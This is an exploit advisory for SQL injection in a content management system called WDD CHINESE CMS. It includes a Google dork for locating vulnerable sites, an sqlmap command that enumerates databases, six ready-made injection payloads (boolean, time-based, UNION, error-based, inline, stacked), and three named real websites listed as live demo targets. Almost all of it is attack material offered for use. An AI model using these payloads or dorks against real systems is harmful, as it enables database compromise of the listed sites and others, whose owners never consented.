#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
# Exploit Title: WDD CHINESE CMS SQL injection
# Date: 2019-07-3
# Google Dork : intext:"DESIGNED BY WDD" inurl:ID=
# Exploit Author: S I R M A X
# Vendor Homepage: http://www.wddgroup.com
# Version: All Version
# Tested on: win,linux
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
[SQL injection]
[+] Method ( Sql injection ) Storm Security Team of IRAN
[+] parameter : ID == php?ID=
=================================================================================
[+] Sqlmap:
[-] sqlmap -u "http://victim.com/product.php?KindID=1&ID=" -p ID --dbs
[#] Testing Method:
[+] - boolean-based blind
[+] - time-based blind
[+] - error-based
[+] - UNION query
[+] - inline query
[+] - stacked queries
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|||||||||||||||||||||||
Parameter: ID (GET) ||
|||||||||||||||||||||||
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: KindID=1&ID=6 AND 9460=9460
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: KindID=1&ID=6 AND SLEEP(5)
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type: UNION query
Title: Generic UNION query (NULL) - 17 columns
Payload: KindID=1&ID=-9428 UNION ALL SELECT NULL,CHAR(113)+CHAR(106)+CHAR(12
0)+CHAR(120)+CHAR(113)+CHAR(105)+CHAR(120)+CHAR(107)+CHAR(119)+CHAR(73)+CHAR(76)+CHAR(72)+CHAR(72)+CHAR(101)+CHAR(114)+CHAR(119)+CHAR(121)+CHAR(72)+CHAR(77)+CHAR(118)+CHAR(112)+CHAR(83)+CHAR(111)+CHAR(81)+CHAR(84)+CHAR(67)+CHAR(110)+CHAR(72)+CHAR(82)+CHAR(75)+CHAR(102)+CHAR(78)+CHAR(84)+CHAR(100)+CHAR(101)+CHAR(78)+CHAR(75)+CHAR(109)+CHAR(99)+CHAR(112)+CHAR(82)+CHAR(80)+CHAR(90)+CHAR(87)+CHAR(107)+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(122)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- aXFY
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: KindID=1&ID=6 AND (SELECT 2082 FROM(SELECT COUNT(*),CONCAT(0x7176717171,(SELECT (ELT(2082=2082,1))),0x716a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: KindID=1&ID=(SELECT CHAR(113)+CHAR(106)+CHAR(120)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9401=9401) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(122)+CHAR(113))
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: KindID=1&ID=138;WAITFOR DELAY '0:0:5'--
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
=================================================================================
Demo:
[+] https://www.crmto.com/news.php?KindID=1&ID=6[SQL]
[+] http://www.catchertw.com.tw/company_news_more.aspx?KindID=1&ID=138[SQL]
[+] http://www.navjack.com/product.php?KindID=36&ID=127[SQL]
=================================================================================
[=] T.me/Sir_Max
[=] Telegram Channel ==> @Storm_Security
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
